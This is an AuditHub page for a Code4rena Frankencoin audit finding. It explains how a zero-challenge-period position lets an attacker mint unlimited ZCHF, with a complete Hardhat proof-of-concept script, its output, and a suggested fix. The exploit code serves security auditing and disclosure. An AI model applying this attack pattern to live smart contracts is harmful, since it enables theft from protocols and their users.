Frankencoin - jangle's results

A decentralized and fully collateralized stablecoin.

General Information

Platform: Code4rena

Start Date: 12/04/2023

Pot Size: $60,500 USDC

Total HM: 21

Participants: 199

Period: 7 days

Judge: hansfriese

Total Solo HM: 5

Id: 231

League: ETH

Frankencoin

Findings Distribution

Researcher Performance

Rank: 60/199

Findings: 2

Award: $57.66

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

Awards

35.0635 USDC - $35.06

Labels

bug
3 (High Risk)
satisfactory
edited-by-warden
duplicate-458

External Links

Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/MintingHub.sol#L88 https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/MintingHub.sol#L252 https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L329 https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Frankencoin.sol#L280

Vulnerability details

Impact

The attacker can obtain unlimited ZCHF to drain all the value of the protocol.

The function openPosition in the contract MintingHub can be invoked by anyone to create a position with OPEN_FEE ZCHF.

A position with insufficient collateral can be challenged by anyone through an auction mechanism. At the end of challenge period (set by the position owner), the successful challenger can not only get the collateral of the position but also get additional rewards (default to 2%).

Attacker can profit if the reward of the challenge is more than the cost of opening the position.

Specifically, an attacker can invoke the function openPosition in the contract MintingHub with X ZCHF as the collateral and 0 challenge period to create a molicious position, which means it can be challenged immediately. Then he launchs a challenge to this position with Y ZCHF as challenge collateral throughing the function launchChallenge in the contract MintingHub and trigers the function end in the contract MintingHub to end the challenge immediately.

In the function end, the Y challenge collaterals are refunded first (in the function returnCollateral, Line 256). Then it notifies the position by calling the function notifyChallengeSucceeded in the contract Position to withdraw all position collaterals (Y ZCHF). Finally, it distributes the Z ZCHF reaward recording the volume and notifies the contract Frankencoin to withdraw ZCHF from the reserve (i.e. the contract Equity) or mint directly When there is no enough ZCHF.

The attacker can obtain unlimited ZCHF if the reward Z greater than the OPEN_FEE, which can be easily achieved.

UPDATE: The OPEN_FEE will become FPS, which can be redeemed (so there is almost no cost for this attack.)

Proof of Concept

https://github.com/jan91e/2023-04-frankencoin/blob/issue1/test/BasicTests.ts (Will public after the competition)

the test script is as follow:

// @ts-nocheck
import {expect} from "chai";
import { BigNumber } from "ethers";
import { floatToDec18 } from "../scripts/math";
const { ethers, network } = require("hardhat");
const BN = ethers.BigNumber;
import { createContract } from "../scripts/utils";

let ZCHFContract, positionFactoryContract, equityAddr, equityContract, mintingHub, accounts;

let owner, faucet;

describe("Basic Tests", () => {

    function capitalToShares(totalCapital, totalShares, dCapital) {
        if (totalShares==0) {
            return 1000;
        } else {
            return totalShares *( ((totalCapital +dCapital)/totalCapital)**(1/3) - 1 );
        }
    }
    function sharesToCapital(totalCapital, totalShares, dShares) {
        
        return -totalCapital *( ((totalShares - dShares)/totalShares)**(3) - 1 );
    }
    
    function BNToHexNoPrefix(n) {
        let num0x0X = BN.from(n).toHexString();
        return num0x0X.replace("0x0", "0x");
    }

    async function mineNBlocks(n) {
        // hardhat_mine does not accept hex numbers that start with 0x0,
        // hence convert
        await network.provider.send("hardhat_mine", [BNToHexNoPrefix(n)]);
    }

    async function blockTime() {
        const currentBlock = await ethers.provider.getBlockNumber();
        const blockTimestamp = (await ethers.provider.getBlock(currentBlock)).timestamp;
        return blockTimestamp;
    }

    function calcCreateAddress(sender, nonce) {
        const nonce_rlp_data = nonce == 0 ? new Uint8Array() : ethers.utils.hexlify(BigNumber.from(nonce).toHexString());

        const hash = ethers.utils.keccak256(
            ethers.utils.RLP.encode([sender, nonce_rlp_data])
        );

        return ethers.utils.getAddress("0x" + hash.slice(26));      
    }

    before(async () => {
        accounts = await ethers.getSigners();
        owner = accounts[0];
        faucet = accounts[1];
        // create contracts
        // 10 day application period
        ZCHFContract = await createContract("Frankencoin", [10 * 86_400]);
        equityAddr = ZCHFContract.reserve();
        equityContract = await ethers.getContractAt('Equity', equityAddr, accounts[0]);
        positionFactoryContract = await createContract("PositionFactory");
        mintingHub = await createContract("MintingHub", [ZCHFContract.address, positionFactoryContract.address]);
        
        let applicationPeriod = BN.from(0);
        let applicationFee = BN.from(0);
        let msg = "Minting Hub"
        await expect(ZCHFContract.suggestMinter(mintingHub.address, applicationPeriod, 
            applicationFee, msg)).to.emit(ZCHFContract, "MinterApplied");

        await expect(ZCHFContract.suggestMinter(faucet.address, applicationPeriod, 
            applicationFee, msg)).to.emit(ZCHFContract, "MinterApplied");
        // increase block to be a minter
        await ethers.provider.send('evm_increaseTime', [60]); 
        await network.provider.send("evm_mine");

        expect(await ZCHFContract.isMinter(mintingHub.address)).to.be.true;
        expect(await ZCHFContract.isMinter(faucet.address)).to.be.true;
    });
    
    describe("pocs", () => {
        it("[Critical] issue-1: Use malicious position to get unlimited ZCHF",async () => {
            const attacker = accounts[2];

            // Step 1: obtain ZCHF from faucet (just for mock, it can be achieved through DEX / Lending / FlashLoan in the real world)
            await ZCHFContract.connect(faucet)["mint(address,uint256)"](attacker.address, floatToDec18(8001000));
            
            // Step 2: use ZCHF as collateral to open a malicious position with 0 chanllenge period (it can be chellenged immediately)
            let collateral = ZCHFContract.address;
            let fliqPrice = floatToDec18(4000000);
            let minCollateral = 0;
            let fInitialCollateral = floatToDec18(1000);
            let initialLimit = ethers.constants.MaxUint256;
            let duration = BN.from(14*86_400);
            let fee = 0.01;
            let fFees = BN.from(fee * 1000_000);
            let reserve = 0.10;
            let fReserve = BN.from(reserve * 1000_000);
            let challengePeriod = 0;
            await ZCHFContract.connect(attacker)["approve(address,uint256)"](mintingHub.address,ethers.constants.MaxUint256);
            
            const nonce = parseInt(await network.provider.send("eth_getTransactionCount", [
                positionFactoryContract.address
            ]));
            const pos = calcCreateAddress(positionFactoryContract.address, nonce);

            const ZCHFBalBefore = await ZCHFContract.balanceOf(attacker.address);
            await mintingHub.connect(attacker)["openPosition(address,uint256,uint256,uint256,uint256,uint256,uint32,uint256,uint32)"](
                collateral, 
                minCollateral, 
                fInitialCollateral, 
                initialLimit, 
                duration, 
                challengePeriod, 
                fFees, 
                fliqPrice, 
                fReserve
            );

            // Step 3: Luanch a challenge for the malicious position created
            await mintingHub.connect(attacker)["launchChallenge(address,uint256)"](
                pos,
                fInitialCollateral
            );

            // Step 4: End the challenge immediately
            await mintingHub.connect(attacker)["end(uint256,bool)"](
                0,
                false
            );

            const ZCHFBalAfter = await ZCHFContract.balanceOf(attacker.address);
            console.log(`ZCHF Balance of attacker: before = ${ZCHFBalBefore}, after = ${ZCHFBalAfter}`)
            console.log(`Profits: ${ZCHFBalAfter.sub(ZCHFBalBefore)}`);
        })
    })
});

The result:

  Basic Tests
    pocs
ZCHF Balance of attacker: before = 8001000000000000000000000, after = 88000000000000000000000000
Profits: 79999000000000000000000000
      ✓ [Critical] issue-1: Use malicious position to get unlimited ZCHF

Tools Used

manually

Disable the ZCHF as the position collateral or set the minimum value for the challenge period.

#0 - c4-pre-sort

2023-04-21T14:50:58Z

0xA5DF marked the issue as duplicate of #830

#1 - c4-pre-sort

2023-04-24T18:48:50Z

0xA5DF marked the issue as duplicate of #458

#2 - c4-judge

2023-05-18T14:41:33Z

hansfriese marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter